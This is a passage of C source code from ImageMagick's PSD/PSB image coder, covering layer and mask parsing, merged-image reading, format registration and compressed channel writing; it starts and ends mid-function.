layer_info->name); status=MagickTrue; for (j=0; j < (ssize_t) layer_info->channels; j++) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for channel %.20g",(double) j); compression=(PSDCompressionType) ReadBlobShort(layer_info->image); layer_info->image->compression=ConvertPSDCompression(compression); if (layer_info->channel_info[j].type == -1) layer_info->image->matte=MagickTrue; status=ReadPSDChannel(layer_info->image,image_info,psd_info,layer_info,j, compression,exception); InheritException(exception,&layer_info->image->exception); if (status == MagickFalse) break; } if (status != MagickFalse) status=ApplyPSDLayerOpacity(layer_info->image,layer_info->opacity, MagickFalse,exception); if ((status != MagickFalse) && (layer_info->image->colorspace == CMYKColorspace)) status=NegateImage(layer_info->image,MagickFalse); if (status != MagickFalse && layer_info->mask.image != (Image *) NULL) { const char *option; layer_info->mask.image->page.x=layer_info->mask.page.x; layer_info->mask.image->page.y=layer_info->mask.page.y; /* Do not composite the mask when it is disabled */ if ((layer_info->mask.flags & 0x02) == 0x02) layer_info->mask.image->compose=NoCompositeOp; else status=ApplyPSDOpacityMask(layer_info->image,layer_info->mask.image, layer_info->mask.background == 0 ? 0 : QuantumRange,MagickFalse, exception); option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if (IsStringTrue(option) != MagickFalse) PreservePSDOpacityMask(image,layer_info,exception); layer_info->mask.image=DestroyImage(layer_info->mask.image); } return(status); } ModuleExport MagickBooleanType ReadPSDLayers(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info, const MagickBooleanType skip_layers,ExceptionInfo *exception) { char type[4]; LayerInfo *layer_info; MagickSizeType size; MagickBooleanType status; register ssize_t i; ssize_t count, j, number_layers; size=GetPSDSize(psd_info,image); if (size == 0) { /* Skip layers & masks. */ (void) ReadBlobLong(image); count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); status=MagickFalse; if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) return(MagickTrue); else { count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count != 0) && (LocaleNCompare(type,"Lr16",4) == 0)) size=GetPSDSize(psd_info,image); else return(MagickTrue); } } status=MagickTrue; if (size != 0) { layer_info=(LayerInfo *) NULL; number_layers=(short) ReadBlobShort(image); if (number_layers < 0) { /* The first alpha channel in the merged result contains the transparency data for the merged result. */ number_layers=MagickAbsoluteValue(number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " negative layer count corrected for"); image->matte=MagickTrue; } /* We only need to know if the image has an alpha channel */ if (skip_layers != MagickFalse) return(MagickTrue); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image contains %.20g layers",(double) number_layers); if (number_layers == 0) ThrowBinaryException(CorruptImageError,"InvalidNumberOfLayers", image->filename); layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers, sizeof(*layer_info)); if (layer_info == (LayerInfo *) NULL) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of LayerInfo failed"); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(layer_info,0,(size_t) number_layers* sizeof(*layer_info)); for (i=0; i < number_layers; i++) { ssize_t x, y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading layer #%.20g",(double) i+1); layer_info[i].page.y=ReadBlobSignedLong(image); layer_info[i].page.x=ReadBlobSignedLong(image); y=ReadBlobSignedLong(image); x=ReadBlobSignedLong(image); layer_info[i].page.width=(size_t) (x-layer_info[i].page.x); layer_info[i].page.height=(size_t) (y-layer_info[i].page.y); layer_info[i].channels=ReadBlobShort(image); if (layer_info[i].channels > MaxPSDChannels) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"MaximumChannelsExceeded", image->filename); } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g", (double) layer_info[i].page.x,(double) layer_info[i].page.y, (double) layer_info[i].page.height,(double) layer_info[i].page.width,(double) layer_info[i].channels); for (j=0; j < (ssize_t) layer_info[i].channels; j++) { layer_info[i].channel_info[j].type=(short) ReadBlobShort(image); layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info, image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " channel[%.20g]: type=%.20g, size=%.20g",(double) j, (double) layer_info[i].channel_info[j].type, (double) layer_info[i].channel_info[j].size); } count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer type was %.4s instead of 8BIM", type); layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"ImproperImageHeader", image->filename); } (void) ReadBlob(image,4,(unsigned char *) layer_info[i].blendkey); ReversePSDString(image,layer_info[i].blendkey,4); layer_info[i].opacity=(Quantum) ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); layer_info[i].clipping=(unsigned char) ReadBlobByte(image); layer_info[i].flags=(unsigned char) ReadBlobByte(image); layer_info[i].visible=!(layer_info[i].flags & 0x02); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s", layer_info[i].blendkey,(double) layer_info[i].opacity, layer_info[i].clipping ? "true" : "false",layer_info[i].flags, layer_info[i].visible ? "true" : "false"); (void) ReadBlobByte(image); /* filler */ size=ReadBlobLong(image); if (size != 0) { MagickSizeType combined_length, length; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer contains additional info"); length=ReadBlobLong(image); combined_length=length+4; if (length != 0) { /* Layer mask info. */ layer_info[i].mask.page.y=ReadBlobSignedLong(image); layer_info[i].mask.page.x=ReadBlobSignedLong(image); layer_info[i].mask.page.height=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.y); layer_info[i].mask.page.width=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.x); layer_info[i].mask.background=(unsigned char) ReadBlobByte( image); layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image); if (!(layer_info[i].mask.flags & 0x01)) { layer_info[i].mask.page.y=layer_info[i].mask.page.y- layer_info[i].page.y; layer_info[i].mask.page.x=layer_info[i].mask.page.x- layer_info[i].page.x; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g", (double) layer_info[i].mask.page.x,(double) layer_info[i].mask.page.y,(double) layer_info[i].mask.page.width, (double) layer_info[i].mask.page.height,(double) ((MagickOffsetType) length)-18); /* Skip over the rest of the layer mask information. */ if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"UnexpectedEndOfFile", image->filename); } } length=ReadBlobLong(image); combined_length+=length+4; if (length != 0) { /* Layer blending ranges info. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer blending ranges: length=%.20g",(double) ((MagickOffsetType) length)); /* We read it, but don't use it... */ for (j=0; j < (ssize_t) length; j+=8) { size_t blend_source=ReadBlobLong(image); size_t blend_dest=ReadBlobLong(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " source(%x), dest(%x)",(unsigned int) blend_source,(unsigned int) blend_dest); } } /* Layer name. */ length=(MagickSizeType) (unsigned char) ReadBlobByte(image); combined_length+=length+1; if (length > 0) (void) ReadBlob(image,(size_t) length++,layer_info[i].name); layer_info[i].name[length]='\0'; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer name: %s",layer_info[i].name); if ((length % 4) != 0) { length=4-(length % 4); combined_length+=length; /* Skip over the padding of the layer name */ if (DiscardBlobBytes(image,length) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } length=(MagickSizeType) size-combined_length; if (length > 0) { unsigned char *info; layer_info[i].info=AcquireStringInfo((const size_t) length); info=GetStringInfoDatum(layer_info[i].info); (void) ReadBlob(image,(const size_t) length,info); } } } for (i=0; i < number_layers; i++) { if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is empty"); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); continue; } /* Allocate layered image. */ layer_info[i].image=CloneImage(image,layer_info[i].page.width, layer_info[i].page.height,MagickFalse,exception); if (layer_info[i].image == (Image *) NULL) { layer_info=DestroyLayerInfo(layer_info,number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of image for layer %.20g failed",(double) i); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (layer_info[i].info != (StringInfo *) NULL) { (void) SetImageProfile(layer_info[i].image,"psd:additional-info", layer_info[i].info); layer_info[i].info=DestroyStringInfo(layer_info[i].info); } } if (image_info->ping == MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=0; j < layer_info[i].channels; j++) { if (DiscardBlobBytes(image,(MagickSizeType) layer_info[i].channel_info[j].size) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } continue; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for layer %.20g",(double) i); status=ReadPSDLayer(image,image_info,psd_info,&layer_info[i], exception); if (status == MagickFalse) break; status=SetImageProgress(image,LoadImagesTag,i,(MagickSizeType) number_layers); if (status == MagickFalse) break; } } if (status != MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=i; j < number_layers - 1; j++) layer_info[j] = layer_info[j+1]; number_layers--; i--; } } if (number_layers > 0) { for (i=0; i < number_layers; i++) { if (i > 0) layer_info[i].image->previous=layer_info[i-1].image; if (i < (number_layers-1)) layer_info[i].image->next=layer_info[i+1].image; layer_info[i].image->page=layer_info[i].page; } image->next=layer_info[0].image; layer_info[0].image->previous=image; } layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info); } else layer_info=DestroyLayerInfo(layer_info,number_layers); } return(status); } static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info, Image* image,const PSDInfo* psd_info,ExceptionInfo *exception) { MagickOffsetType *sizes; MagickBooleanType status; PSDCompressionType compression; register ssize_t i; compression=(PSDCompressionType) ReadBlobMSBShort(image); image->compression=ConvertPSDCompression(compression); if (compression != Raw && compression != RLE) { (void) ThrowMagickException(exception,GetMagickModule(), TypeWarning,"CompressionNotSupported","'%.20g'",(double) compression); return(MagickFalse); } sizes=(MagickOffsetType *) NULL; if (compression == RLE) { sizes=ReadPSDRLESizes(image,psd_info,image->rows*psd_info->channels); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } status=MagickTrue; for (i=0; i < (ssize_t) psd_info->channels; i++) { if (compression == RLE) status=ReadPSDChannelRLE(image,psd_info,i,sizes+(i*image->rows), exception); else status=ReadPSDChannelRaw(image,psd_info->channels,i,exception); if (status != MagickFalse) status=SetImageProgress(image,LoadImagesTag,i,psd_info->channels); if (status == MagickFalse) break; } if ((status != MagickFalse) && (image->colorspace == CMYKColorspace)) status=NegateImage(image,MagickFalse); if (status != MagickFalse) status=CorrectPSDAlphaBlend(image_info,image,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); return(status); } static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image; MagickBooleanType has_merged_image, skip_layers; MagickOffsetType offset; MagickSizeType length; MagickBooleanType status; PSDInfo psd_info; register ssize_t i; ssize_t count; unsigned char *data; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read image header. */ image->endian=MSBEndian; count=ReadBlob(image,4,(unsigned char *) psd_info.signature); psd_info.version=ReadBlobMSBShort(image); if ((count == 0) || (LocaleNCompare(psd_info.signature,"8BPS",4) != 0) || ((psd_info.version != 1) && (psd_info.version != 2))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); (void) ReadBlob(image,6,psd_info.reserved); psd_info.channels=ReadBlobMSBShort(image); if (psd_info.channels > MaxPSDChannels) ThrowReaderException(CorruptImageError,"MaximumChannelsExceeded"); psd_info.rows=ReadBlobMSBLong(image); psd_info.columns=ReadBlobMSBLong(image); if ((psd_info.version == 1) && ((psd_info.rows > 30000) || (psd_info.columns > 30000))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.depth=ReadBlobMSBShort(image); if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.mode=ReadBlobMSBShort(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s", (double) psd_info.columns,(double) psd_info.rows,(double) psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType) psd_info.mode)); /* Initialize image. */ image->depth=psd_info.depth; image->columns=psd_info.columns; image->rows=psd_info.rows; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } if (SetImageBackgroundColor(image) == MagickFalse) { InheritException(exception,&image->exception); image=DestroyImageList(image); return((Image *) NULL); } if (psd_info.mode == LabMode) SetImageColorspace(image,LabColorspace); if (psd_info.mode == CMYKMode) { SetImageColorspace(image,CMYKColorspace); image->matte=psd_info.channels > 4 ? MagickTrue : MagickFalse; } else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) || (psd_info.mode == DuotoneMode)) { status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536); if (status == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image colormap allocated"); SetImageColorspace(image,GRAYColorspace); image->matte=psd_info.channels > 1 ? MagickTrue : MagickFalse; } else image->matte=psd_info.channels > 3 ? MagickTrue : MagickFalse; /* Read PSD raster colormap only present for indexed and duotone images. */ length=ReadBlobMSBLong(image); if (length != 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading colormap"); if (psd_info.mode == DuotoneMode) { /* Duotone image data; the format of this data is undocumented. */ data=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*data)); if (data == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,(size_t) length,data); data=(unsigned char *) RelinquishMagickMemory(data); } else { size_t number_colors; /* Read PSD raster colormap. */ number_colors=length/3; if (number_colors > 65536) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (AcquireImageColormap(image,number_colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->matte=MagickFalse; } } if ((image->depth == 1) && (image->storage_class != PseudoClass)) ThrowReaderException(CorruptImageError, "ImproperImageHeader"); has_merged_image=MagickTrue; length=ReadBlobMSBLong(image); if (length != 0) { unsigned char *blocks; /* Image resources block. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading image resource blocks - %.20g bytes",(double) ((MagickOffsetType) length)); blocks=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*blocks)); if (blocks == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,(size_t) length,blocks); if ((count != (ssize_t) length) || (length < 4) || (LocaleNCompare((char *) blocks,"8BIM",4) != 0)) { blocks=(unsigned char *) RelinquishMagickMemory(blocks); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } ParseImageResourceBlocks(image,blocks,(size_t) length,&has_merged_image); blocks=(unsigned char *) RelinquishMagickMemory(blocks); } /* Layer and mask block. */ length=GetPSDSize(&psd_info,image); if (length == 8) { length=ReadBlobMSBLong(image); length=ReadBlobMSBLong(image); } offset=TellBlob(image); skip_layers=MagickFalse; if ((image_info->number_scenes == 1) && (image_info->scene == 0) && (has_merged_image != MagickFalse)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " read composite only"); skip_layers=MagickTrue; } if (length == 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has no layers"); } else { if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } /* Skip the rest of the layer and mask information. */ SeekBlob(image,offset+length,SEEK_SET); } /* If we are only "pinging" the image, then we're done - so return. */ if (image_info->ping != MagickFalse) { (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* Read the precombined layer, present for PSD < 4 compatibility. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading the precombined layer"); if (has_merged_image != MagickFalse || GetImageListLength(image) == 1) has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image_info,image, &psd_info,exception); if ((has_merged_image == MagickFalse) && (GetImageListLength(image) == 1) && (length != 0)) { SeekBlob(image,offset,SEEK_SET); status=ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception); if (status != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } } if (has_merged_image == MagickFalse) { Image *merged; if (GetImageListLength(image) == 1) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); SetImageAlphaChannel(image,TransparentAlphaChannel); image->background_color.opacity=TransparentOpacity; merged=MergeImageLayers(image,FlattenLayer,exception); ReplaceImageInList(&image,merged); } (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPSDImage() adds properties for the PSD image format to % the list of supported formats. The properties include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPSDImage method is: % % size_t RegisterPSDImage(void) % */ ModuleExport size_t RegisterPSDImage(void) { MagickInfo *entry; entry=SetMagickInfo("PSB"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Large Document Format"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("PSD"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Photoshop bitmap"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPSDImage() removes format registrations made by the % PSD module from the list of supported formats. % % The format of the UnregisterPSDImage method is: % % UnregisterPSDImage(void) % */ ModuleExport void UnregisterPSDImage(void) { (void) UnregisterMagickInfo("PSB"); (void) UnregisterMagickInfo("PSD"); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % W r i t e P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % WritePSDImage() writes an image in the Adobe Photoshop encoded image format. % % The format of the WritePSDImage method is: % % MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image) % % A description of each parameter follows. % % o image_info: the image info. % % o image: The image. % */ static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image, const size_t offset) { if (psd_info->version == 1) return(WriteBlobMSBShort(image,(unsigned short) offset)); return(WriteBlobMSBLong(image,(unsigned short) offset)); } static inline ssize_t WritePSDOffset(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBShort(image,(unsigned short) size); else result=(WriteBlobMSBLong(image,(unsigned short) size)); SeekBlob(image,current_offset,SEEK_SET); return(result); } static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size) { if (psd_info->version == 1) return(WriteBlobMSBLong(image,(unsigned int) size)); return(WriteBlobMSBLongLong(image,size)); } static inline ssize_t WritePSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBLong(image,(unsigned int) size); else result=WriteBlobMSBLongLong(image,size); SeekBlob(image,current_offset,SEEK_SET); return(result); } static size_t PSDPackbitsEncodeImage(Image *image,const size_t length, const unsigned char *pixels,unsigned char *compact_pixels) { int count; register ssize_t i, j; register unsigned char *q; unsigned char *packbits; /* Compress pixels with Packbits encoding. */ assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(pixels != (unsigned char *) NULL); assert(compact_pixels != (unsigned char *) NULL); packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits)); if (packbits == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); q=compact_pixels; for (i=(ssize_t) length; i != 0; ) { switch (i) { case 1: { i--; *q++=(unsigned char) 0; *q++=(*pixels); break; } case 2: { i-=2; *q++=(unsigned char) 1; *q++=(*pixels); *q++=pixels[1]; break; } case 3: { i-=3; if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { *q++=(unsigned char) ((256-3)+1); *q++=(*pixels); break; } *q++=(unsigned char) 2; *q++=(*pixels); *q++=pixels[1]; *q++=pixels[2]; break; } default: { if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { /* Packed run. */ count=3; while (((ssize_t) count < i) && (*pixels == *(pixels+count))) { count++; if (count >= 127) break; } i-=count; *q++=(unsigned char) ((256-count)+1); *q++=(*pixels); pixels+=count; break; } /* Literal run. */ count=0; while ((*(pixels+count) != *(pixels+count+1)) || (*(pixels+count+1) != *(pixels+count+2))) { packbits[count+1]=pixels[count]; count++; if (((ssize_t) count >= (i-3)) || (count >= 127)) break; } i-=count; *packbits=(unsigned char) (count-1); for (j=0; j <= (ssize_t) count; j++) *q++=packbits[j]; pixels+=count; break; } } } *q++=(unsigned char) 128; /* EOD marker */ packbits=(unsigned char *) RelinquishMagickMemory(packbits); return((size_t) (q-compact_pixels)); } static size_t WriteCompressionStart(const PSDInfo *psd_info,Image *image, const Image *next_image,const ssize_t channels) { size_t length; ssize_t i, y; if (next_image->compression == RLECompression) { length=WriteBlobMSBShort(image,RLE); for (i=0; i < channels; i++) for (y=0; y < (ssize_t) next_image->rows; y++) length+=SetPSDOffset(psd_info,image,0); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) length=WriteBlobMSBShort(image,ZipWithoutPrediction); #endif else length=WriteBlobMSBShort(image,Raw); return(length); } static size_t WritePSDChannel(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, const QuantumType quantum_type, unsigned char *compact_pixels, MagickOffsetType size_offset,const MagickBooleanType separate) { int y; MagickBooleanType monochrome; QuantumInfo *quantum_info; register const PixelPacket *p; register ssize_t i; size_t count, length; unsigned char *pixels; #ifdef MAGICKCORE_ZLIB_DELEGATE #define CHUNK 16384 int flush, level; unsigned char *compressed_pixels; z_stream stream; compressed_pixels=(unsigned char *) NULL; flush=Z_NO_FLUSH; #endif count=0; if (separate != MagickFalse) { size_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,1); } if (next_image->depth > 8) next_image->depth=16; monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; quantum_info=AcquireQuantumInfo(image_info,next_image); if (quantum_info == (QuantumInfo *) NULL) return(0); pixels=GetQuantumPixels(quantum_info); #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } } #endif for (y=0; y < (ssize_t) next_image->rows; y++) { p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception); if (p == (const PixelPacket *) NULL) break; length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info, quantum_type,pixels,&image->exception); if (monochrome != MagickFalse) for (i=0; i < (ssize_t) length; i++) pixels[i]=(~pixels[i]); if (next_image->compression == RLECompression) { length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels); count+=WriteBlob(image,length,compact_pixels); size_offset+=WritePSDOffset(psd_info,image,length,size_offset); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) { stream.avail_in=(uInt) length; stream.next_in=(Bytef *) pixels; if (y == (ssize_t) next_image->rows-1) flush=Z_FINISH; do { stream.avail_out=(uInt) CHUNK; stream.next_out=(Bytef *) compressed_pixels; if (deflate(&stream,flush) == Z_STREAM_ERROR) break; length=(size_t) CHUNK-stream.avail_out; if (length > 0) count+=WriteBlob(image,length,compressed_pixels); } while (stream.avail_out == 0); } #endif else count+=WriteBlob(image,length,pixels); } #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { (void) deflateEnd(&stream); compressed_pixels=(unsigned char *) RelinquishMagickMemory( compressed_pixels); } #endif quantum_info=DestroyQuantumInfo(quantum_info); return(count); } static unsigned char *AcquireCompactPixels(Image *image) { size_t packet_size; unsigned char *compact_pixels; packet_size=image->depth > 8UL ? 2UL : 1UL; compact_pixels=(unsigned char *) AcquireQuantumMemory((9* image->columns)+1,packet_size*sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) { (void) ThrowMagickException(&image->exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'", image->filename); } return(compact_pixels); } static ssize_t WritePSDChannels(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, MagickOffsetType size_offset,const MagickBooleanType separate) { Image *mask; MagickOffsetType rows_offset; size_t channels, count, length, offset_length; unsigned char *compact_pixels; count=0; offset_length=0; rows_offset=0; compact_pixels=(unsigned char *) NULL; if (next_image->compression == RLECompression) { compact_pixels=AcquireCompactPixels(image); if (compact_pixels == (unsigned char *) NULL) return(0); } channels=1; if (separate == MagickFalse) { if (next_image->storage_class != PseudoClass) { if (IsGrayImage(next_image,&next_image->exception) == MagickFalse) channels=next_image->colorspace == CMYKColorspace ? 4 : 3; if (next_image->matte != MagickFalse) channels++; } rows_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,channels); offset_length=(next_image->rows*(psd_info->version == 1 ? 2 : 4)); } size_offset+=2; if (next_image->storage_class == PseudoClass) { length=WritePSDChannel(psd_info,image_info,image,next_image, IndexQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else 